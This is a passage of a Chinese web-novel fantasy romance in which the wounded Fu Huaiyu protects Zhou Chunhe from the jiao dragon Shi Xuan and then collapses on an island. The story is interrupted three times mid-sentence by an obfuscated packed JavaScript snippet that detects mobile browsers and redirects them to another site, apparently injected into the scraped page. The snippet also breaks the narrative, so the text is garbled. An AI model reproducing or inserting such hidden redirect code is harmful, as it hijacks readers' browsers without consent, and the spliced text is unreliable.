许多问题一股脑儿的涌了上来,周春和有很多问题想问傅怀玉:“咱们这是在哪儿,阿姐呢?其他人呢?傅怀玉,你怎么受伤了,还伤的这么重?你还好吧?那条蛟龙去哪了,它为什么会忽然攻击我们?”她记得她被那只黑色的蛟龙用尾巴扫进了海中,她根本不会凫水,所以没一会儿就因为无法呼吸昏了过去,她还记得自己最后往岸上一瞥,看见的是周夏莲惊恐和焦急的模样。 那个时候一切都发生的太快太猝不及防,周春和唯一的念头就是自己要完了,根本没空想别的。谁知道她竟然大难不死,即便是这样也能死里逃生。 面对周春和这一连串的问题,傅怀玉只是温柔的看着她,虽然是笑着的,但眼睛里染上了一抹哀伤:“姑娘还记得我们一同被打落水中吗?” 周春和立刻点头如捣蒜,傅怀玉又笑了笑,继续说:“后来我见姑娘在水中晕了过去,便勉力拉住姑娘,将姑娘带在自己的身边,本以为可以侥幸逃脱,可谁知那蛟龙并不曾放过我们,在水中将你我打落。原本在水下就对蛟龙有利,所以我即便是使出浑身解数也难以抵抗。在水中挣扎之际,我们离岸边越来越远,好在后来我发现了这处孤岛,带着姑娘躲进山洞之中,那蛟龙没有找到我们,便暂时离开了,这才有了喘息的机会。我见姑娘一直在昏迷,便将姑娘带到水边,想为姑娘擦拭一下刚刚染上的污痕,好在姑娘醒了过来。” 周春和对上傅怀玉那双颜色浅淡的眸子,一时间不知道要说些什么。 虽然傅怀玉现在说的轻描淡写,但周春和能通过当时凶险的情况和傅怀玉身上的伤痕知道事实绝非如此平淡,当时她已经昏迷,傅怀玉相当于带着一个累赘前行,再加上蛟龙咬紧他们不放,而在水中行动起来更加困难……周春和简直想象不到傅怀玉是怎么平安把她带到这座孤岛的。 而且,周春和看着自己身上被蛟龙的尾巴撞出来的青紫,心里更加不是滋味——她身上一点伤痕也没有,可傅怀玉却已经是伤痕累累,周春和知道,傅怀玉一定是从始至终都将她牢牢护在身后,自己去挡住四面八方的明枪暗箭,这才为周春和争取了一线生机。 傅怀玉温柔的看着她,忽然笑了:“姑娘怎么沉默了,在想什么?你放心,等你稍稍休息一下,恢复精力之后,咱们便试着往岸上走,周姑娘想必已经在着急的等着你了……” “傅怀玉,疼吗?” 傅怀玉怔了一下,随即笑得更温柔:“什么?” “我说你的伤口……傅怀玉,你别光顾着问我了,你还好吗?” 傅怀玉沉默了。 周春和见傅怀玉不说话,心突突的往下沉,其实她早就能从傅怀玉的脸色中看出来他不是很好,虽然傅怀玉不管什么时候都永远是一副笑着的温和模样,但是他苍白的脸色和憔悴的模样是无论如何都掩饰不住的。 她有些着急的直接上手拽傅怀玉的衣服,情急之下也顾不得别的,手劲大的竟然一下子将傅怀玉的外袍拽了下来,傅怀玉根本没有想过周春和会这么直接,也就没来得及阻止。 衣服落下之后,露出傅怀玉胸口的深深浅浅的伤口。原本从外面看,傅怀玉衣服上的那些血迹就已经十分吓人,可是等把衣服脱下来之后,周春和才意识到傅怀玉的伤口比看起来的还要吓人。 他胸口遍布伤口,几乎全都是被蛟龙的鳞片插入之后留下的血洞。其中他腹部的伤口最深,血到现在都还在止不住的往外流。 周春和吃了一惊:“怎么伤得这么重?!” 她着急的想查看一下傅怀玉的伤口究竟有多么深,但是又怕弄疼傅怀玉,于是又急又气,直皱眉头:“你上过药了吗?” 说完自己先忍不住叹了口气,这里荒郊野岭的,上哪里去找草药? 傅怀玉看着周春和眼里藏都藏不住的心疼,垂下眸子,掩住眸中的一片柔软:“姑娘不必惊慌,一点小伤罢了,等回去再上药吧。” 这番话听的周春和直皱眉,她心疼傅怀玉身受重伤,更心疼他豁出去一切来保护自己,而她却没有办法减轻傅怀玉的伤痛。 两个人安静的在岸边坐了一会儿,周春和抹了把脸,让自己振作起来,她问傅怀玉:“那咱们什么时候可以从这里离开?” 早点离开,就能早点替傅怀玉上药,不至于让他的伤口恶化。但周春和同样也担心过早的离开会让傅怀玉休息不好,让他的身体承受不住。 傅怀玉看了一眼天色,勉强笑道:“再过半个时辰吧。” 周春和点点头:“好。” 她扯下自己的衣服撕成布条,简单帮傅怀玉包扎了一下,然后两个人便靠在一起简单的休息一会儿。 但就这半个时辰也并没有让两个人安心的休息,那条刚刚消失于海面之下不久的蛟龙毫无征兆的忽然窜了出来,而且位置正正好好就在两人附近! 周春和原本以为蛟龙这一最难的关卡已经过去,可是直到现在她才明白,这一关仅仅只是才刚刚开始而已。她忽然明白了刚刚傅怀玉为什么是那种明明温柔的笑着,但却还是带着哀伤的模样,恐怕他早已经此现在会发生的事情有所预料。 她一转头,就见傅怀玉已经站了起来,他脸上的笑意早已经消失不见,而是被肃穆取而代之。 他走上前,一如既往的将周春和严严实实的挡在身后。 那条蛟龙朝半空中喷出一阵水汽,发出一阵震人耳膜的呼啸,周春和皱着眉头,感觉自己的耳朵都要穿膜了。 那条蛟龙并没有继续攻击,而是出乎周春和意料的化成了人形从半空中降落,站在两人面前。 人形的蛟龙很有他还是龙形态的特点,浑身上下都穿着一身黑衣,额头上的两只角也依然露在外面,耳廓是尖锐的,下巴很尖,脸型狭长,一双眼睛是金黄色的竖瞳。 周春和震惊的看着蛟龙变成了人的形体,好半天都缓不过来。 可蛟龙却根本没有看她,他从始至终都直勾勾的看着傅怀玉,眼神里闪着讥诮和阴冷的光:“啊,傅怀玉。我可算是抓住你了,怎么昔日风光无限的傅怀玉如今成了这副模样?这副可怜狼狈的模样?” 傅怀玉脸上依然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583969|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是温和的表情,但他背在身后的手指不动声色地从乾坤袋中抽出一张符纸,蛟龙看不见他的动作,但是在他身后的周春和却是看得清清楚楚,就在周春和以为傅怀玉要直接对蛟龙动手,正要大惊失色提醒傅怀玉先别激怒蛟龙时,却不曾想傅怀玉将符纸贴到了周春和身上! 傅怀玉明明是背对着周春和的,可就跟后背长了眼睛一样精准的将符纸贴在了周春和的胳膊上。周春和全然没有防备,等反应过来之际,周身被一道只有她自己能看到的蓝光笼罩。 不知道为何,周春和看着这道蓝光,心里忽然涌上一种不太好的预感,她慌张的盯着傅怀玉的背影,想问问他究竟要干什么,可是张了张嘴,却发现自己一个音节也发不出来——这张符竟然还有消音的作用! 周春和心中更加慌乱了,她直觉傅怀玉要做什么可能会对他自己不太好的事情,但此刻却根本不知道该怎么阻止。 听着鲛人那番话,傅怀玉只是很平静的笑了笑:“人生么,有起必有落,天高地迥,觉宇宙之无穷;兴尽悲来,识盈虚之有数。我都已经习惯了,时玄,你怎么还没习惯呢?” 时玄大笑一声:“傅怀玉,你和那时的你,没有任何分别。时光怎么好似没有在你身上留下什么痕迹呢?” 傅怀玉正了正神情,意有所指道:“何必说这些没什么意义的话,你今日忽然出现,想必不是偶然吧?” “那是自然,原本我还在深渊中沉睡,谁知道却感受到了老朋友的气息,这不就立刻出来迎接你了?傅怀玉,你说若是我今日杀了你,是不是非常的轻而易举呢?” 周春和闻言立刻睁大了眼睛,原本听着两人的对话,她还抱着一丝希望,可是话说到这份上,她再也没法自欺欺人,她已经确定了这个名叫时玄的蛟龙就是来杀他们两人的。 周春和心知大事不妙,正要碰一下傅怀玉示意他解开自己的禁言咒,就听见傅怀玉很轻很轻的笑了:“师兄,你怎么还是一如既往的自不量力呢?从前你便是我的手下败将,如今一别数十年,你怎么还是如此的没有自知之明呢?” 周春和瞠目结舌,心说傅怀玉你这是真不想活假不想活了?如今他们本就自身难保,你还专门往人家的肺管子上戳,一会儿这蛟龙不把我们拍成肉饼他就不是龙! 果不其然,此话一出,时玄果然怒从心起,他冷笑一声,霎那间收起了悠闲神色,变得充满杀戮和阴狠,他甩出一条长鞭,往空中狠狠一挥,紧接着天空中乌云密布,雷声大作,一阵破穿云层的滚雷闪的周围一阵亮白。 这道刺眼的白光照的周春和睁不开眼,就在这一瞬间,她感觉到自己被谁推搡了一下,不知道跌进了哪里,再睁眼时,白光散去,她才看清自己身处刚刚的那个小山洞里。但与刚刚不同的是,傅怀玉不知道对这山洞设下了什么保护咒,周春和竟然无法从里面出去,而洞口周围被几块忽然出现的石头严严实实的挡住了,只露出几条细缝,从里面可以清楚的看见外面,而从外面却很难发现里面。 而她周身的蓝光依然没有消散,她试着张了张嘴,禁言咒也依然没有解开。发不出声音、走不出洞穴,周春和只能眼睁睁的看着外面傅怀玉满身血污的和时玄打斗起来。 周春和现在明白刚刚傅怀玉为什么要激怒时玄了,他要趁着时玄拿出武器的那一瞬间,借着武器发出的白光为周春和讨得一线生机。 时玄的注意力全在傅怀玉身上,所以他根本就没有注意到周春和的什么时候消失的,又是去了哪里,不过若是再拖一会儿,说不定时玄就会发现周春和的存在,这样无疑增加了周春和的危险。所以傅怀玉必须要趁着什么都还没有发生之际,以这种决绝的办法将周春和藏起来。 即便是这样做,他自己要独自承受时玄的怒火。即便是,他要在已经重伤的情况下,还要再次打起精神独自迎接第二次伤害。 60. 枇杷府 周春和原本以为傅怀玉对上时玄必输无疑,可谁知道傅怀玉竟然比她想象中的更加厉害。 或者说是傅怀玉对上时玄竟然也完全不显败势。傅怀玉常用的武器是把剑,此剑是由银铁打造,通体流光溢彩,远远看去,像是由美玉和冰块打造而成,放在水中,竟然看不见剑身,那华光璨目的剑如同隐身了一般与水融为一体。 此剑锋利无比,傅怀玉催剑对上时玄的长剑,两剑相交,发出一阵刺目的火光。 周春和揪心的看着外面两剑上下翻飞,剑影交错,谁也不肯让谁。她试了好多次,可这个保护阵非常坚固,外人进不来,里面的人也别想出去。 她急得像是热锅上的蚂蚁,同时还无比担心傅怀玉,但她人被困在阵中,再着急也无计可施,只能眼睁睁的看着外面的人打得昏天黑地。 虽然两人一开始确实难分胜负,可毕竟傅怀玉先前就已经受了重伤,而时玄却是生龙活虎,所以几番回合下来,傅怀玉的动作便显得有些吃力。而且傅怀玉的大动作又牵连到了伤口处,于是又引得一阵撕裂,雪上加霜。 但傅怀玉的表情几乎天衣无缝,若是单看他的表情,绝对看不出来他此刻究竟是痛苦还是欢愉,可他衣服上的血迹越来愈深,越来愈重,这点是骗不了人的。 周春和能注意到的东西,时玄同样也注意到了,他的表情带着一丝猖狂和讥诮:“傅怀玉,想不到你这张嘴如此能说,可真打起来也不过如此嘛!我还当你有多大本事呢,现在看起来,也真就是一般而已。” 傅怀玉却轻轻笑了,笑声越来越肆意,直到变成开怀大笑:“师兄,你倒还是一如既往的骁勇善战。蛟龙一族都是如此骁勇善战,也正是因为如此,百年前两神大战,蛟龙一族才死伤过百!师兄,当初蛟龙一族和火神是如何的风光无限,可如今呢!如今你们蛟龙一族又都去哪了?!整个沧州大地,茫茫千百里的平原和山川湖海,你们蛟龙一族又何曾再出现在世人眼中?曾经被奉为圭臬的蛟龙一族,到了如今世人连知道都不曾知道,这是何等的讽刺啊,师兄,你当真就甘心吗?!” 时玄的表情一下子就变了,变得凶神恶煞,变得暴跳如雷,他尖锐的长啸一声,而他手中的剑也仿佛感受到了时玄的雷霆之怒,开始比刚刚更加残暴、更加势如破竹。傅怀玉被那凶狠残忍的剑意逼得节节败退,可即便是这样,他也依然没有住口,而是用一种无比畅快的眼神看着时玄,仿佛看到时玄如今的模样,再痛苦也都值得了。他虽然已经有些力不可支,但那笑容依然近乎癫狂。 时玄果然已经怒不可遏,狂怒道:“傅怀玉!你以为你们是那个胜者吗?你们傅氏一族难道就好到哪里去了吗?当初傅氏横尸遍野,就连你,也不过是侥幸逃脱而已。傅怀玉,你扪心自问,难道你真如你此刻表现出来的那么不在意吗?你的至亲好友全部葬身海底,只留你一人在这苍茫天地间,比起你们,我们倒也算不上一个‘惨’字。傅怀玉,你问我甘不甘心,我倒是想问问你,我就不信这些年来,你一句也不曾恨过、一句也不曾怨过。我听说你千方百计的想要寻找补天石,傅怀玉,你拿补天石究竟是为自己,还是为了自己报仇,你自己还说得出吗?” 傅怀玉疯狂的大笑起来:“师兄!你我都知对方的龌龊,事到如今,何不打开天窗说亮话呢?当初火神是如何哄骗你们的,他是怎么许给你们那些你们想要的,可最后你们得到你们想要的了吗?没有!什么都没有,他利用完你们,便消失的无影无踪,这些年里,我再也没有探听到过他的踪迹,师兄,你说你不信我没有恨过,可我也同样不信你对他不恨之入骨!你们与我们纠缠怨恨这么多年,可究竟是谁胜了谁输了?你如今锲而不舍的追踪我的踪迹,究竟是想要杀了我为自己族人报仇,还是觉得我与你同病相怜,想杀掉我掩盖住曾经自己做过的蠢事?师兄,事到如今,是怨我还是后悔,你自己还分得清吗?!”他腾出一只手擦干净嘴角涌出来的止不住的血,血水呛到了他的鼻子,他吸了一口血气,整个心肺都被浓浓的血腥味覆盖了,但正是这股嗜血的味道让他觉得通体舒畅。他依然在笑,语气又急切又饱含期待,状若疯癫,“师兄,痛失所爱的滋味怎么样啊?眼睁睁的看着族人死的死、伤的伤的滋味又如何?我听说时灵姑娘沉睡于冰川之中,至今未醒啊!午夜梦回时,你会看见她在黑暗中向你招手吗?你能听见她的怨念和恨意吗?师兄,她在怪你啊!” 两柄剑如同疯了一般再空中厮杀,每一下都用尽了全力,每一次都捅的最深,他们像是感应到了主人暴怒的情绪,因此也变得亢奋不已。两个人同时沉默下来,他们不再说话,眼睛里已经没有其他的事情,有的只是拼进全力杀掉对方的决心。 傅怀玉已经快要站不起来了,他身上的白色衣服已经全部被血染红,脸上也全是血水,几乎也血污融为一体。可唯独曾经周春和夸过的头发依然干净整洁,不曾沾染血污分毫。 周春和双手扣着石壁,无声的流下眼泪。她无力的捶着墙壁,整个手掌都血肉模糊了也不肯停手。 时玄几乎是只剩下杀掉傅怀玉这唯一一个念头,可是傅怀玉即便已经是强弩之末,也依然不肯露出一点退色。就在这时,时玄忽然停止了动作,他的视线精准无比的转向山洞的位置,明明知道他看不见自己,可是对上时玄的视线时,周春和还是感觉到了一阵透彻心扉的冷意。 傅怀玉显然也注意到了时玄的视线,他的表情骤然一变,想阻止已经来不及了,催剑飞向山洞的方向,刹那间那剑便已经来到了周春和跟前! 傅怀玉设下的保护阵挡住长剑大部分的冲击力,可时玄用了十成十的内力催动长剑,虽然保护阵没有消散,但已经全是裂纹,只需再轻轻一击,便可将保护阵彻底击碎。 而这次攻击的余波也伤到了周春和,将她整个人震飞出去,撞到墙壁上又狠狠的摔下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586952|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 周春和感觉到喉咙间一股腥甜的味道,但她依然强撑着站直身体。时玄还想再次进攻,但傅怀玉的反应比他更快。 他略一招手,乾坤袋中的七弦古琴感应他的召唤,从袋中化出形体,于他指尖翻飞。傅怀玉将琴扶好,信信一拨,声波立刻化为白到利刃朝时玄飞去。 时玄睁大眼睛,不可置信的轻喝出声:“华胥琴?!你竟然为了……” 也就是他这一瞬间的失神,让傅怀玉抓住了机会,用琴重新为周春和设下新的保护阵。同时他的长剑也及时挡住了时玄的长剑对周春和的第二次攻击。 这一切都在一瞬间发生的,周春和抬头看时,只见傅怀玉以一身血肉之躯立于孤岛之中,以凡人之躯对抗神明而不露一点败势。天光自他身后柔柔的照下来,他那一尘不染的发丝在海风中扬起凌乱的弧度,而他整个人已经是逼近极限。 时玄喃喃的说:“你竟为了一个女子做到如此地步……” 他似乎明白了什么,忽然露出一个怪异的笑,朝周春和的方向朗声开了口:“看到傅怀玉为你做到了如此地步,你是不是觉得无比感动?可惜了,可惜你并不知道傅怀玉的真面目,你不知道这茫茫大地之下埋葬着无数的尸骨等着向傅怀玉伸冤!你更不知道又无数生灵在九泉之下咒骂傅怀玉!” 傅怀玉喘了口气,他刚刚那种狂热的模样已经退却,此刻变得格外冷静和冷漠,他信手一拨,无数看不见的利刃再次飞向时玄。时玄皱着眉头御剑躲避,但却败于下风,几下便有些支撑不住。 傅怀玉这把琴实在是厉害,刚刚还处在绝对优势地位的时玄此刻却节节败退,形势登时倒转,没一会儿,傅怀玉就将自己受过的伤尽数还给了时玄。 时玄秉承着打不过就跑、反正留得青山在不怕没柴烧的念头,边防御边不动声色的往后撤,就在他化成龙身准备入海之际,周春和听见他声混合着痛苦和一丝不正常的畅快的尖利声音:“你当真以为傅怀玉清白无辜吗?你以为傅怀玉一直和你们同行不是别有所图吗,他跟着你们,不过是为了利用你们达到自己的目的,不信的话你大可以自己问问他,他费尽心思的想要得到这个补天石,究竟是为了什么!可怜可叹,你们还以为自己在匡扶正义替天行道,却不知早已经落入傅怀玉的陷阱之中!若我是你,便趁着如今他最虚弱之际,将人一击毙命!别到时候等自己做了傅怀玉手里毁天灭地的刀之后才追悔莫及!” 他的身影随着他的话音一同落入水中,一下子便没了踪影。而另一侧的傅怀玉见危机消失,一直绷紧着的那口气终于松了下来,他体力不支的跪倒在地上,海风猎猎,吹散他的头发,露出那张全是血污的脸。 天地苍茫,傅怀玉那样纯洁干净的一个人,如同天上谪仙般身居神坛而永不陨落,如今却全满身血污,狼狈的跪在这座无名的孤岛上。他早已不再整洁的衣袍被风吹得鼓起,形影单薄可怜。 61. 枇杷府 危机解除,保护阵也自动消散。周春和感觉到自己的喉咙一松,可以发出声音了。 她立刻踉踉跄跄的冲傅怀玉跑过去,她跪在地上将傅怀玉紧紧的抱在自己怀里,想用自己的胳膊捂住傅怀玉身上怎么止都止不住的血。看着傅怀玉正静静地注视着她的那双漂亮眼睛,周春和的眼泪一下子滚了出来。 周春和一开始还很克制的小声哭,到后来实在是忍不住了,抱着傅怀玉嚎啕大哭起来。 傅怀玉温柔的看着她,抬起血污的手想给她擦泪,但是又觉得自己的手太脏了,会弄脏周春和的,于是他又轻轻放下了,只是柔声说:“别哭,我的乾坤袋里还有几张符,一会儿你拿着护身。时玄一时半会儿应该不会再上来了,你要赶在天黑之前离开这里。” 周春和哽咽道:“那你呢?我要和你呆在一起。你不走我也不走!” 傅怀玉静静的看着周春和,周春和哭起来的时候脸都成了大花猫,却还是很倔的梗着头不肯退步,于是傅怀玉又笑起来,但他的笑容很快就慢慢淡了下来:“我走不了了,”他的声音很轻,又抬眼看向周春和,这次眸中一点笑容也没有了,“……春和,你还可以直接杀掉我。” 周春和僵住了,她张了张嘴,很久才找回自己的声音:“为什么?你……你是不是听见了那条没良心的黑龙的话?你放心、我,我不会相信他的话的,他一定是在挑拨离间!我不可能会杀你的,哪怕是让我死在这里我也做不出来这样的事情。” 傅怀玉笑了,他温柔的看着周春和,心里想的却是,可是春和,倘若他不是在挑拨离间呢? 但他终究没有将这句话说出口,他失神的看着远处的落日,眼神逐渐变得有些涣散,隔了很久才又喃喃地说:“……若是得不到你的爱,那么能死在你的手中也是个不错的结局。爱和恨、生和死,我总是要得到一个的。” 他的声音很轻,周春和没有听清,她死死的捂着傅怀玉的伤口,魂不守舍的追问:“你说什么?” “没什么。春和,我有点累了,我想先休息一会儿。” 周春和一下子就联想到了电视剧里那些受了重伤的人只要一睡过去就会直接死掉的剧情,吓得脸色都白了:“不,不许睡!傅怀玉!”她的声音带上了哭腔,“要是你敢死在这里,我就……我就……” 她就什么?直到这时周春和才发现自己甚至没有任何能留住傅怀玉的筹码,她能抓住的,只有傅怀玉对自己那百分之九十五的爱意值。 傅怀玉喃喃的说:“没关系的,春和,没关系。我只是休息一下……我只需要休息片刻……” 他的声音慢慢变轻了,尾音几乎微不可闻。他最终还是睡了过去,周春和紧紧抱着他,恨不得把自己身上的温度全部传给傅怀玉。 在外面呆了一会儿,周春和想到了那个山洞,晚上这里会冷的,傅怀玉原本就失血过多,若是一直呆在潮湿阴冷的外面,肯定撑不过这一夜。她得把傅怀玉背到山洞里去,起码那里面还等稍微避避风。 周春和踉跄地站起来,将傅怀玉的胳膊架到自己的肩膀上,吃力的扶着傅怀玉一瘸一拐的往石洞里面走去。 周春和已经尽自己所能的快点走了,可是傅怀玉伤得太重了,稍微动一动就又会流血,周春和一只手扶着傅怀玉不让他摔倒,另一只手去捂住他胸口的伤口。可周春和怎么都止不住那些血,她费劲九牛二虎之力将傅怀玉带到了山洞里,让傅怀玉靠着最里面的位置坐下。她摸了摸傅怀玉的额头,感觉到傅怀玉的身体越来越冷,终于忍不住嚎啕大哭起来。 落日余晖穿进洞口照在她身上,也照在傅怀玉的脸庞上。傅怀玉睡着之后表情恬静温柔,就好像这一切的一切都只是周春和的梦。他晕倒之后,再也没有精力用灵术保护自己的头发,于是原本得到周春和夸赞的一头长发此刻凌乱的披在身后。若是傅怀玉还有一点点的精力,若是他还醒着的话,绝对不会让这样的情况发生。 周围一切都那么安静,就连海浪拍打小岛的声音也几乎消失不见,一切都归于平静,可为什么没有人可以帮帮她呢? 为什么傅怀玉的伤口止不住血呢,为什么她都这么努力了,还是止不住往外流的血? 周春和抱着傅怀玉,在这座孤岛上绝望的坐着,泣不成声。 残阳逐渐落山,洞内也变得漆黑一片。 周春和擦干眼泪,逐渐平静下来。她沉默着搬来好几块大石头把洞口堵住,然后又异常冷静的按照傅怀玉说的翻了翻他的乾坤袋,将里面的符纸全部拿了出来,看看有哪些是可以用的。翻乾坤袋的时候,她看见了里面种着的各类花草,里面不乏一些药材,只可惜周春和分辨不用来,若是用错了药,只怕傅怀玉的伤势会更重。 周春和有些后悔,为什么之前不多了解一些?那么现在也不至于走投无路。 乾坤袋里有长明符和火焰符,前者可以发光,后者则像是火焰般可以发热。 周春和将两张符点燃,原本昏暗的洞穴一下子亮了起来,她将两张符纸全都围在傅怀玉身边,让傅怀玉在热源处靠着。 自从把傅怀玉扶进洞内之后,周春和便撕下自己的衣服外套将傅怀玉身上的伤口尽数包扎了一下,有些伤口太深了,一开始很难止住血,周春和就用双手一直给他按着,好在现在伤口已经不再出血了。 周春和将自己身上的外衣全部脱下来包在傅怀玉身上,自己也紧紧依偎着傅怀玉,想通过这样的方式把自己的体温传递给傅怀玉。 好在傅怀玉体温降低到一定程度之后,逐渐被周春和暖回来了一点。 周春和透过石缝看着外面的漫天繁星,心里涌上无无穷无尽的孤独感。 周春和这一夜都没敢合眼,时不时就神经质般的去摸摸傅怀玉的额头和脉搏,见他虽然还在昏迷,但脉搏依然还在跳动,这才渐渐的松了口气。 长明符和火焰符只有几张,到了后半夜周春和就不敢再继续用了,因为不知道还要在这里再待几天,她要给以后或许会发生的紧急情况留下点物资。 夜晚过去,太阳逐渐升了起来。周春和便费力的将傅怀玉带到外面,让他沐浴在阳光下,自己则洗干净身上的手帕,一点一点帮傅怀玉擦拭身上的血污和灰尘。 周春和想,若是傅怀玉醒过来看见自己浑身上下又脏又乱,想必也不会觉得开心。 忙了整整一个上午,周春和终于满头大汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从前的傅怀玉,虽然一言一行都恪守礼仪,让人挑不出一丝错处,可他接人待物实在是太完美太挑不出一丝瑕疵了,而且他几乎从来没有过任何过激或者是负面的情绪,有时候脾气冷静到简直不像是一个人,即便是遇到再危机的情况他也永远不会失控。这样的人和他呆一段时间一定会觉得很惬意很舒服,可如果一直呆下去那就有些受不了了。就好像是一个永远戴着面具的人,再温柔和善也不过只是他拿来对待这个世界的面具和伪装,没人愿意一直和一个永远不以真面目示人的人呆在一起,哪怕他再完美、再挑不出一丝错误。 如今这个面具隐约有了一丝皲裂的痕迹,而误入此处的周春和也因此侥幸窥见了傅怀玉那长久温柔的面具之下,那被压抑着的灵魂。 所有接触过傅怀玉的人都说他是翩翩公子,温润如玉。 只有傅怀玉自己明白,所谓的“温柔”不过是迫不得已。若是人在这样的环境下呆久了,迟早会变成另一种模样。就如同他内心深处的那个和他装出的大相径庭的模样,那个长久压抑之下的怪物,那个极端退让之后的疯子。那个怪物世界的神灵,人类世界的怪物。 他只是惯会伪装罢了。 62. 枇杷府 周春和靠在傅怀玉身边发了会呆儿,不知道什么时候也趴在一个石头上睡着了。她昨天白天累了一天,又一晚上没睡,就算是再提心吊胆、再有精气神儿也撑不住了。大概是真的累到了,这一觉她谁的特别好,醒过来之后,天已经黑了。 不知道是不是因为睡了太久,周春和醒过来之后嗓子发干,而且喉咙还火辣辣的疼,走起路来脚步都有些发虚。不过她没当一回事儿,喝了口水缓解了一下干涩的嗓子之后,便开始考虑吃饭的问题。 人是铁饭是钢,她和傅怀玉都差不多已经两天没有吃过东西,之前一直被恐惧和惊疑占据了大脑的全部思绪,也没感觉到肚子饿,但现在暂时太平之后,周春和就明显的感觉到了饥饿感。 在这样下去,就算是不被时玄杀死也会被活生生饿死在这里,而且傅怀玉比她更虚弱,若是醒过来之后再不补充体力,那他们一辈子都别想再离开这个地方了。 可周春和放眼望去,周围是茫茫大海,看不见一点陆地的影子,连根野草野果都没有,更别说土地和食物了,她又能去哪里找吃的呢? 周春和重重地叹了口气,真是一个困难还没解决,另外一个困难紧跟着就出现了。可周春和现在已经不觉得惊慌失措、更不觉得害怕了,经历过极端的困境之后,她发现自己成长了很多,不说可以游刃有余,起码也能独当一面。也许也就是游历的好处吧,那就是可以催人快些成长起来。 周春和冷静的思考了一下接下来要做的事情,她先将水壶灌满了水,然后又搬来几块大石头将洞口牢牢的堵上,只留下一个小小的供人进出的入口,准备的差不多了,便将傅怀玉扶进洞中。 然后她独自在外面就着湖水简单给自己梳洗了一下。 之前光顾着给傅怀玉擦拭身体和伤口,周春和自己都还没怎么收拾过。如今身上也是十分邋遢,灰尘草屑插了满头,衣服也沾满了污泥和血迹。外袍已经脱给了傅怀玉,周春和便将脏了的外衣脱下来简单搓洗了一下,然后便晾在石头上,自己简单在湖中洗了个澡。 不知道是不是她的错觉,她感觉湖水似乎比之前更凉了,她进去的时候,整个人都在微微颤抖,洗完澡缓了好一会儿,她才感觉没那么冷了。 周春和穿好衣服,将外衣晾在外面,自己走进了石洞。 洗完澡之后,周春和的脚步更加虚浮,而且还有种头重脚轻的感觉,甚至刚进洞的时候,周春和的大脑一阵眩晕,要不是扶着石壁,她一个站不稳甚至差点直接歪到在外面。周春和缓了好一会儿,那种头晕目眩的感觉才稍稍散去。但她依然没在意,还以为是自己太久没吃东西,又颠沛流离了一路,低血糖犯了而已。 回到洞中之后,周春和先检查了一下傅怀玉的伤势,不知道是不是周春和的错觉——还是她没有受过重伤的经验所以没有个可供参考的东西,周春和觉得傅怀玉的伤口似乎愈合的比正常的速度更快些,昨天晚上傅怀玉的伤口就已经自己止住血了,今天白天时有些小一点的伤口就开始结痂,到了现在,傅怀玉那些很重的伤口也已经开始结痂,大有好转的趋势。 虽说有些奇怪,不过这总归是个好现象,说不定就是因为傅怀玉的体质天生异于常人,受伤就是容易好,就像是有些人止血慢有些止血快,傅怀玉恰好属于特别快的那类人。反正在这种情况下,伤当然是好的越快越好。周春和仔细给傅怀玉掖好了衣袍,又小心帮他摆了摆胳膊的姿势,好让他睡着的时候不会压到伤口。 做完这些,外面的天色就已经完全黑了下来,周春和又给傅怀玉喂了口水,觉得头晕目眩的感觉似乎有卷土重来之势,于是便准备早点睡觉保存体力,就在她靠着傅怀玉要躺下的时候,外面忽然响起了一阵小石子敲击石壁的声音。 周春和以为是风吹的,一开始并没有当回事。可是没一会儿,石子敲击墙壁的声音就再次响了起来,而且比上次更猛烈,很有规律的隔两秒就响一阵,隔两秒就又响一阵。周春和警觉起来,竖起耳朵听了一会儿,响声并没有消散,她心里突突直跳,生怕时玄忽然又忽然回来。但此刻她没有别的办法,只能硬着头皮出去看看,如果真的是时玄……真的是时玄的话,她也只能听天由命。 周春和从地上爬起来,翻出自己从傅怀玉的乾坤袋里找出来的符纸,紧紧的攥在自己的手里。她回头最后看了一眼傅怀玉,然后给他掖好衣角,这才蹑手蹑脚的从那条可以勉强过人的小洞里走了出去。 来的外面的一瞬间,周春和的身体下意识地绷紧了,她的目光迅速巡视了一遍周围的环境,手里的符纸也时刻准备着在突发情况下扔出去。可是出乎她的意料,她面前空无一人,扫一眼就能看清全貌的小岛几次寂静无比,只有微风偶尔吹过,月光下的湖面波光粼粼,海浪拍打小岛的声音也几乎微不可察。 周春和皱了皱眉,一时间有些自我怀疑起来——难道是她太累了导致幻听了?外面什么也没有啊,若真是时玄,他没必要在这里装神弄鬼,可是除了时玄还能有谁在这里搞鬼呢? 周春和犹豫着是再在外面呆一会儿还是现在就进洞,正准备转身离开,谁知道便听见背后又响起来小石子响动的声音,周春和头皮一下子炸了起来,倏地转过了身,刚好就看见了还没来得及下水的鲛人。 那个小鲛人也似乎受到了惊吓,一个猛子扎进了水中。周春和并没有因为鲛人的离开而放松分毫,她的心脏反而快速跳动起来,她脑子里只有一个念头——完了。 